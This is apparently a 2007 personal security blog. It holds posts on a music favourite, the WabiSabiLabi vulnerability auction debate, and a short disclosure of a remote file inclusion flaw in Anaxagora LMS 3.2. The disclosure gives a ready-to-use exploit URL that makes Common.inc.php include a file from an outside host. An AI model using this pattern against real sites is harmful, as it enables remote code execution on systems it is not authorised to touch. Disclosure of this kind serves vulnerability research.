This is why Sundays are the best day of the week! ...

2007-07-23T14:45:00.000-04:00

This is why Sundays are the best day of the week!

Check out The Joys and be sure to pick up their cd Demolition Session or pre-order their new one. Here's a dose of a Sunday night ritual.

Download link here

All the WabiSabiLabi hype

2007-07-13T14:22:00.001-04:00

I was reading through an article on Securityfocus about the new vulnerability auction site WabiSabiLabi. Basically theres a lot of commotion because people are scared that organized crime (and other bad people) will be able to buy these vulnerabilities and use them in targeted attacks. Now I can see that happening, but it causes me to stop and think.

Any true 'organized crime' group probably doesn't need to buy these vulnerabilities because they have their own hackers, and they more-than-likely have their own vuln's. Maybe it would save them time to just spend $2000 and get a PoC, but I don't think they would need it.

Maybe I'm a little biased about this article, but every blog I read about it is saying how finally researchers have a chance to earn something from their work. Damn right! Why should you spend x amount of hours researching a vulnerability, then notify the vendor (who probably wont take action soon, if ever) and get nothing out of it? I like the idea of actually getting paid for your research, especially since not everybody has a high paying job.

My favorite quote from the article:

"We do not believe that offering compensation for vulnerability information is the best way we can help protect our customers," the software giant said in a statement sent to SecurityFocus. "Our policy is to credit finders who report vulnerabilities to us in a responsible manner."

Also, I'm a Microsoft customer, I feel that if they paid for vulnerabilities they would have a lot more submissions, which would in turn make a more secure operating system (aka protecting their customers)
I know I would much rather get 'credit' from Microsoft as opposed to money for rent....

Anaxagora RFI vuln

2007-07-12T13:24:00.000-04:00

Simple remote file inclusion vulnerability.

Product: Anaxagora-Lms
Version: 3.2
File: Common.inc.php

class_path variable not initialized prior to including:

include_once($class_path."bdd.class.php");
include_once($class_path."connexion.class.php");
include_once($class_path."membre.class.php");

vulnerable url:
LCMS/anaxagora/inc/Common.inc.php?class_path=http://tech.torc.k12.nm.us/techtools/phpinfo.txt?

First post

2007-07-11T10:16:00.000-04:00

test!

Lots of 1's and 0's

This is why Sundays are the best day of the week! ...

All the WabiSabiLabi hype

Anaxagora RFI vuln

First post